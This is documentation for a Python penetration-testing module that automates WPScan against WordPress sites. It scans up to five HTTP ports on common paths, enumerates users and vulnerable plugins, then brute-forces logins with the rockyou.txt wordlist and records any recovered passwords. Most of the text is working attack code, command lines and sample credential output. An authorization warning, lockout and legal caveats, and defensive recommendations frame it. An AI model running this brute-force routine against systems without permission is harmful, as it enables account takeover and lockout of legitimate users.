Overview
The WPForceBrute module automates WordPress security testing using WPScan. It performs user enumeration, vulnerability detection for plugins/themes, and password brute-forcing against discovered user accounts.
Authorization Required: Brute-force attacks can lock out legitimate users and may be logged as malicious activity. Only test WordPress installations you own or have explicit written permission to test.
Module Location
services/wpforce_brute.py
Class Definition
class WPForceBrute:
def __init__(self, host: Host):
self.host = host
self.wp_dir = Path(f"{Config.OUTPUT_BASE}/wpscan")
self.wp_dir.mkdir(parents=True, exist_ok=True)
Core Methods
_parse_wpscan_users()
Extracts WordPress usernames from WPScan output.
def _parse_wpscan_users(self, output):
"""Extraer usuarios encontrados por WPScan"""
users = []
for match in re.findall(r'\[!\]\s*(?:Login|Username)\s*found:\s*(\S+)', output, re.IGNORECASE):
users.append(match)
# Formato alternativo WPScan
for match in re.findall(r'\|\s*(\w+)\s*\|', output):
if match.lower() not in ['name', 'id', 'login', 'slug', 'status']:
users.append(match)
return list(set(users))
Supported Output Formats:
- Alert Format:
[!] Username found: admin
- Table Format:
| admin | (excludes header keywords)
Example Output:
👥 Usuarios encontrados: admin, editor, author
_parse_brute_results()
Extracts successful credentials from brute-force output.
def _parse_brute_results(self, output):
"""Extraer credenciales del brute-force"""
creds = []
# Buscar formato: | user | password |
for match in re.findall(r'SUCCESS.*?(\w+)\s*[:\|]\s*(\S+)', output, re.IGNORECASE):
creds.append({'source': 'WPScan Brute-Force', 'user': match[0], 'password': match[1], 'hash': ''})
# Formato alternativo
for match in re.findall(r'Valid Combination.*?Username:\s*(\S+).*?Password:\s*(\S+)', output, re.IGNORECASE):
creds.append({'source': 'WPScan Brute-Force', 'user': match[0], 'password': match[1], 'hash': ''})
return creds
Credential Format:
{
'source': 'WPScan Brute-Force',
'user': 'admin',
'password': 'password123',
'hash': ''
}
attack()
Main attack method with two-phase testing: enumeration then brute-force.
def attack(self):
vulns = []
print(" 🔓 WPScan (Enumeración + Brute-Force)...")
for port, service in list(self.host.ports_open.items())[:5]:
if 'http' not in service['service'].lower():
continue
for path in Config.WORDPRESS_PATHS:
url = f"http://{self.host.ip}:{port}{path}"
output_file = self.wp_dir / f"wpscan_{self.host.ip}_{port}_{path.replace('/', '_')}.txt"
Tests up to 5 HTTP ports against common WordPress paths from Config.WORDPRESS_PATHS (e.g., /, /wordpress/, /blog/).
Phase 1: Enumeration & Vulnerability Detection
WPScan Enumeration Command
# PASO 1: Enumerar usuarios y vulnerabilidades
print(f" 🔍 WPScan enumerar: {url}")
cmd_enum = [
'wpscan', '--url', url,
'--enumerate', 'u,vp,ap',
'--no-banner', '--disable-tls-checks',
'--output', str(output_file)
]
Enumeration Options:
u: Users (via author archives, JSON API, XML-RPC)
vp: Vulnerable plugins
ap: All plugins (installed)
--no-banner: Suppress WPScan banner
--disable-tls-checks: Allow self-signed certificates
Execution:
try:
result = subprocess.run(cmd_enum, capture_output=True, text=True, timeout=180)
full_output = result.stdout
if any(kw in full_output.lower() for kw in ['vulnerable', 'critical', 'high', 'users found', 'user(s) identified']):
vuln = Vulnerability(
name="🔴 WORDPRESS VULNERABILIDADES",
description=f"WPScan detectó vulnerabilidades: {url}",
port=port,
risk=RiskLevel.CRITICAL,
evidence_file=str(output_file),
recommendations="Actualizar WordPress + Plugins, WAF, deshabilitar XML-RPC"
)
vulns.append(vuln)
print(f" 💥 Vulnerabilidades WordPress encontradas!")
Timeout: 180 seconds (3 minutes)
Vulnerability Detection Triggers:
- Keywords:
vulnerable, critical, high
- User detection:
users found, user(s) identified
Example Enumeration Output:
🔍 WPScan enumerar: http://192.168.56.101/wordpress/
💥 Vulnerabilidades WordPress encontradas!
👥 Usuarios encontrados: admin, editor, wpuser
Phase 2: Brute-Force Attack
WPScan Brute-Force Command
# PASO 2: Brute-Force con diccionario
wordlist = Config.WORDLIST_PATH
if Path(wordlist).exists():
brute_output = self.wp_dir / f"brute_{self.host.ip}_{port}.txt"
print(f" 🔐 Brute-force con rockyou.txt...")
cmd_brute = [
'wpscan', '--url', url,
'--enumerate', 'u',
'--passwords', wordlist,
'--max-threads', '10',
'--no-banner', '--disable-tls-checks',
'--output', str(brute_output)
]
Brute-Force Parameters:
--enumerate u: Re-enumerate users before attack
--passwords: Path to wordlist (typically rockyou.txt)
--max-threads 10: Parallel login attempts
- Timeout: 600 seconds (10 minutes)
Execution & Credential Extraction:
try:
brute_result = subprocess.run(cmd_brute, capture_output=True, text=True, timeout=600)
creds = self._parse_brute_results(brute_result.stdout)
if creds:
self.host.credentials.extend(creds)
for c in creds:
print(f" 🔑 CREDENCIAL: {c['user']} : {c['password']}")
vuln_brute = Vulnerability(
name="🔴 WORDPRESS CONTRASEÑAS DÉBILES",
description=f"Brute-force exitoso: {len(creds)} credenciales obtenidas",
port=port,
risk=RiskLevel.CRITICAL,
evidence_file=str(brute_output),
recommendations="Contraseñas robustas, limitar intentos login, 2FA"
)
vulns.append(vuln_brute)
except subprocess.TimeoutExpired:
print(f" ⏰ Brute-force timeout (10min)")
Success Output:
🔐 Brute-force con rockyou.txt...
🔑 CREDENCIAL: admin : password123
🔑 CREDENCIAL: editor : welcome1
Wordlist Handling
wordlist = Config.WORDLIST_PATH
if Path(wordlist).exists():
# Proceed with brute-force
else:
print(f" ⚠️ Wordlist no encontrada: {wordlist}")
Default Wordlist: Config.WORDLIST_PATH typically points to /usr/share/wordlists/rockyou.txt (14 million passwords).
Error Handling
except subprocess.TimeoutExpired:
print(f" ⏭️ WPScan timeout en {url}")
except Exception as e:
print(f" ⚠️ Error WPScan: {e}")
Timeout Scenarios:
- Enumeration: 180s (slow server or many plugins)
- Brute-force: 600s (large wordlist or rate limiting)
Output Files
Results stored in:
{OUTPUT_BASE}/wpscan/
├── wpscan_{IP}_{PORT}_{PATH}.txt # Enumeration results
└── brute_{IP}_{PORT}.txt # Brute-force results
Configuration Requirements
Config.WORDPRESS_PATHS = ["/", "/wordpress/", "/wp/", "/blog/"]
Config.WORDLIST_PATH = "/usr/share/wordlists/rockyou.txt"
WPScan API Token
For vulnerability database access, set environment variable:
export WPSCAN_API_TOKEN="your_token_here"
Obtain free token at: https://wpscan.com/register
Dependencies
- wpscan: Ruby-based WordPress scanner
- wordlist: rockyou.txt or custom password list
Security Considerations
- Account Lockout: Brute-forcing may trigger WordPress login limiters (e.g., Wordfence, Limit Login Attempts)
- IP Blocking: Servers may blacklist source IP after failed attempts
- Detection: WordPress security plugins log and alert on enumeration attempts
- Rate Limiting:
--max-threads 10 can overwhelm small servers; reduce if needed
- Legal Risk: Unauthorized brute-forcing is a criminal offense in most jurisdictions
Recommendations for Defense
From vulnerability output:
Actualizar WordPress + Plugins
WAF (Web Application Firewall)
Deshabilitar XML-RPC
Contraseñas robustas
Limitar intentos de login
2FA (Two-Factor Authentication)
- NmapScanner: Identifies HTTP services to test
- GobusterEnum: Discovers WordPress installation paths
- HashCracker: Not applicable (WordPress uses bcrypt, not MD5)